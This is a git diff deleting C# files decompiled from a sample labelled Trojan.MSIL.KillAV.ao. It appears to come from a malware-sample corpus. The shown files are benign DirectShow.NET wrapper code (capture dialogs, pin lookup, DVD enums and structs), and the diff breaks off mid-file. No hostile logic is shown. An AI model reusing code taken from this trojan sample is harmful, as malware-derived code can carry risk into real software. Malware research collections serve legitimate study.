a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/DsUtils.cs +++ /dev/null @@ -1,152 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.DsUtils -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; -using System.IO; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - public class DsUtils - { - public static bool IsCorrectDirectXVersion() => File.Exists(Path.Combine(Environment.SystemDirectory, "dpnhpast.dll")); - - public static bool ShowCapPinDialog(ICaptureGraphBuilder2 bld, IBaseFilter flt, IntPtr hwnd) - { - object ppint = (object) null; - ISpecifyPropertyPages specifyPropertyPages1 = (ISpecifyPropertyPages) null; - DsCAUUID pPages = new DsCAUUID(); - try - { - Guid capture = PinCategory.Capture; - Guid pType = MediaType.Interleaved; - Guid guid = typeof (IAMStreamConfig).GUID; - if (bld.FindInterface(ref capture, ref pType, flt, ref guid, out ppint) != 0) - { - pType = MediaType.Video; - if (bld.FindInterface(ref capture, ref pType, flt, ref guid, out ppint) != 0) - return false; - } - if (!(ppint is ISpecifyPropertyPages specifyPropertyPages2)) - return false; - int num = specifyPropertyPages2.GetPages(out pPages); - num = DsUtils.OleCreatePropertyFrame(hwnd, 30, 30, (string) null, 1, ref ppint, pPages.cElems, pPages.pElems, 0, 0, IntPtr.Zero); - return true; - } - catch (Exception ex) - { - return false; - } - finally - { - if (pPages.pElems != IntPtr.Zero) - Marshal.FreeCoTaskMem(pPages.pElems); - specifyPropertyPages1 = (ISpecifyPropertyPages) null; - if (ppint != null) - Marshal.ReleaseComObject(ppint); - } - } - - public static bool ShowTunerPinDialog(ICaptureGraphBuilder2 bld, IBaseFilter flt, IntPtr hwnd) - { - object ppint = (object) null; - ISpecifyPropertyPages specifyPropertyPages1 = (ISpecifyPropertyPages) null; - DsCAUUID pPages = new DsCAUUID(); - try - { - Guid capture = PinCategory.Capture; - Guid pType = MediaType.Interleaved; - Guid guid = typeof (IAMTVTuner).GUID; - if (bld.FindInterface(ref capture, ref pType, flt, ref guid, out ppint) != 0) - { - pType = MediaType.Video; - if (bld.FindInterface(ref capture, ref pType, flt, ref guid, out ppint) != 0) - return false; - } - if (!(ppint is ISpecifyPropertyPages specifyPropertyPages2)) - return false; - int num = specifyPropertyPages2.GetPages(out pPages); - num = DsUtils.OleCreatePropertyFrame(hwnd, 30, 30, (string) null, 1, ref ppint, pPages.cElems, pPages.pElems, 0, 0, IntPtr.Zero); - return true; - } - catch (Exception ex) - { - return false; - } - finally - { - if (pPages.pElems != IntPtr.Zero) - Marshal.FreeCoTaskMem(pPages.pElems); - specifyPropertyPages1 = (ISpecifyPropertyPages) null; - if (ppint != null) - Marshal.ReleaseComObject(ppint); - } - } - - public int GetPin(IBaseFilter filter, PinDirection dirrequired, int num, out IPin ppPin) - { - ppPin = (IPin) null; - IEnumPins ppEnum; - int pin1 = filter.EnumPins(out ppEnum); - if (pin1 < 0 || ppEnum == null) - return pin1; - IPin[] ppPins = new IPin[1]; - int pin2; - do - { - pin2 = ppEnum.Next(1, ppPins, out int _); - if (pin2 == 0 && ppPins[0] != null) - { - PinDirection pPinDir = (PinDirection) 3; - pin2 = ppPins[0].QueryDirection(out pPinDir); - if (pin2 == 0 && pPinDir == dirrequired) - { - if (num == 0) - { - ppPin = ppPins[0]; - ppPins[0] = (IPin) null; - break; - } - --num; - } - Marshal.ReleaseComObject((object) ppPins[0]); - ppPins[0] = (IPin) null; - } - else - break; - } - while (pin2 == 0); - Marshal.ReleaseComObject((object) ppEnum); - return pin2; - } - - public static void FreeAMMediaType(AMMediaType mediaType) - { - if (mediaType.formatSize != 0) - Marshal.FreeCoTaskMem(mediaType.formatPtr); - if (mediaType.unkPtr != IntPtr.Zero) - Marshal.Release(mediaType.unkPtr); - mediaType.formatSize = 0; - mediaType.formatPtr = IntPtr.Zero; - mediaType.unkPtr = IntPtr.Zero; - } - - [DllImport("olepro32.dll", CharSet = CharSet.Unicode)] - private static extern int OleCreatePropertyFrame( - IntPtr hwndOwner, - int x, - int y, - string lpszCaption, - int cObjects, - [MarshalAs(UnmanagedType.Interface), In] ref object ppUnk, - int cPages, - IntPtr pPageClsID, - int lcid, - int dwReserved, - IntPtr pvReserved); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdAudioAppMode.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdAudioAppMode.cs deleted file mode 100644 index 3f2f7aef..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdAudioAppMode.cs +++ /dev/null @@ -1,16 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Dvd.DvdAudioAppMode -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -namespace DShowNET.Dvd -{ - public enum DvdAudioAppMode - { - None, - Karaoke, - Surround, - Other, - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdAudioAttr.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdAudioAttr.cs deleted file mode 100644 index e36ba3ad..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdAudioAttr.cs +++ /dev/null @@ -1,28 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Dvd.DvdAudioAttr -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System.Runtime.InteropServices; - -namespace DShowNET.Dvd -{ - [ComVisible(false)] - [StructLayout(LayoutKind.Sequential, Pack = 1)] - public struct DvdAudioAttr - { - public DvdAudioAppMode appMode; - public int appModeData; - public DvdAudioFormat audioFormat; - public int language; - public DvdAudioLangExt languageExtension; - public bool hasMultichannelInfo; - public int frequency; - public byte quantization; - public byte numberOfChannels; - public short dummy; - public int res1; - public int res2; - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdAudioCaps.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdAudioCaps.cs deleted file mode 100644 index 51342e81..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdAudioCaps.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Dvd.DvdAudioCaps -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; - -namespace DShowNET.Dvd -{ - [Flags] - public enum DvdAudioCaps - { - Ac3 = 1, - Mpeg2 = 2, - Lpcm = 4, - Dts = 8, - Sdds = 16, // 0x00000010 - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdAudioFormat.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdAudioFormat.cs deleted file mode 100644 index b345a3f9..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdAudioFormat.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Dvd.DvdAudioFormat -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -namespace DShowNET.Dvd -{ - public enum DvdAudioFormat - { - Ac3, - Mpeg1, - Mpeg1Drc, - Mpeg2, - Mpeg2Drc, - Lpcm, - Dts, - Sdds, - Other, - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdAudioLangExt.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdAudioLangExt.cs deleted file mode 100644 index 692dc278..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdAudioLangExt.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Dvd.DvdAudioLangExt -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -namespace DShowNET.Dvd -{ - public enum DvdAudioLangExt - { - NotSpecified, - Captions, - VisuallyImpaired, - DirectorComments1, - DirectorComments2, - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdCharSet.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdCharSet.cs deleted file mode 100644 index 45a0d8c2..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdCharSet.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Dvd.DvdCharSet -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -namespace DShowNET.Dvd -{ - public enum DvdCharSet - { - Unicode, - Iso646, - Jis, - Iso8859, - SiftJis, - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdCmdFlags.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdCmdFlags.cs deleted file mode 100644 index b52ba818..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdCmdFlags.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Dvd.DvdCmdFlags -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; - -namespace DShowNET.Dvd -{ - [Flags] - public enum DvdCmdFlags - { - None = 0, - Flush = 1, - SendEvt = 2, - Block = 4, - StartWRendered = 8, - EndARendered = 16, // 0x00000010 - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdDecoderCaps.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdDecoderCaps.cs deleted file mode 100644 index 2f76a99f..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdDecoderCaps.cs +++ /dev/null @@ -1,28 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Dvd.DvdDecoderCaps -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System.Runtime.InteropServices; - -namespace DShowNET.Dvd -{ - [ComVisible(false)] - [StructLayout(LayoutKind.Sequential, Pack = 1)] - public struct DvdDecoderCaps - { - public int size; - public DvdAudioCaps audioCaps; - public double fwdMaxRateVideo; - public double fwdMaxRateAudio; - public double fwdMaxRateSP; - public double bwdMaxRateVideo; - public double bwdMaxRateAudio; - public double bwdMaxRateSP; - public int res1; - public int res2; - public int res3; - public int res4; - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdDiscSide.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdDiscSide.cs deleted file mode 100644 index 62973a47..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdDiscSide.cs +++ /dev/null @@ -1,14 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Dvd.DvdDiscSide -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -namespace DShowNET.Dvd -{ - public enum DvdDiscSide - { - A = 1, - B = 2, - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdDomain.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdDomain.cs deleted file mode 100644 index 05427742..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdDomain.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Dvd.DvdDomain -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -namespace DShowNET.Dvd -{ - public enum DvdDomain - { - FirstPlay = 1, - VideoManagerMenu = 2, - VideoTitleSetMenu = 3, - Title = 4, - Stop = 5, - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdGraphFlags.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdGraphFlags.cs deleted file mode 100644 index 06bd8f3d..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdGraphFlags.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Dvd.DvdGraphFlags -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; - -namespace DShowNET.Dvd -{ - [Flags] - public enum DvdGraphFlags - { - Default = 0, - HwDecPrefer = 1, - HwDecOnly = 2, - SwDecPrefer = 4, - SwDecOnly = 8, - NoVpe = 256, // 0x00000100 - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdMenuAttr.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdMenuAttr.cs deleted file mode 100644 index fc2f5ca9..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdMenuAttr.cs +++ /dev/null @@ -1,23 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Dvd.DvdMenuAttr -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System.Runtime.InteropServices; - -namespace DShowNET.Dvd -{ - [ComVisible(false)] - [StructLayout(LayoutKind.Sequential, Pack = 1)] - public struct DvdMenuAttr - { - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)] - public bool[] compatibleRegion; - public DvdVideoAttr videoAt; - public bool audioPresent; - public DvdAudioAttr audioAt; - public bool subPicPresent; - public DvdSubPicAttr subPicAt; - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdMenuID.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdMenuID.cs deleted file mode 100644 index 99023cc5..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdMenuID.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Dvd.DvdMenuID -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -namespace DShowNET.Dvd -{ - public enum DvdMenuID - { - Title = 2, - Root = 3, - Subpicture = 4, - Audio = 5, - Angle = 6, - Chapter = 7, - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdOptionFlag.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdOptionFlag.cs deleted file mode 100644 index 2412b9db..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdOptionFlag.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Dvd.DvdOptionFlag -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -namespace DShowNET.Dvd -{ - public enum DvdOptionFlag - { - ResetOnStop = 1, - NotifyParentalLevelChange = 2, - HmsfTimeCodeEvt = 3, - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdPlayLocation.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdPlayLocation.cs deleted file mode 100644 index 8d507d7f..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdPlayLocation.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Dvd.DvdPlayLocation -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System.Runtime.InteropServices; - -namespace DShowNET.Dvd -{ - [ComVisible(false)] - [StructLayout(LayoutKind.Sequential, Pack = 1)] - public struct DvdPlayLocation - { - public int TitleNum; - public int ChapterNum; - public DvdTimeCode timeCode; - public int TimeCodeFlags; - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdRelButton.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdRelButton.cs deleted file mode 100644 index 13e1b492..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdRelButton.cs +++ /dev/null @@ -1,16 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Dvd.DvdRelButton -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -namespace DShowNET.Dvd -{ - public enum DvdRelButton - { - Upper = 1, - Lower = 2, - Left = 3, - Right = 4, - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdRenderStatus.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdRenderStatus.cs deleted file mode 100644 index 7c702646..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdRenderStatus.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Dvd.DvdRenderStatus -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System.Runtime.InteropServices; - -namespace DShowNET.Dvd -{ - [ComVisible(false)] - [StructLayout(LayoutKind.Sequential, Pack = 1)] - public struct DvdRenderStatus - { - public int vpeStatus; - public bool volInvalid; - public bool volUnknown; - public bool noLine21In; - public bool noLine21Out; - public int numStreams; - public int numStreamsFailed; - public DvdStreamFlags failedStreams; - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdStreamFlags.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdStreamFlags.cs deleted file mode 100644 index 0d9e51ff..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdStreamFlags.cs +++ /dev/null @@ -1,19 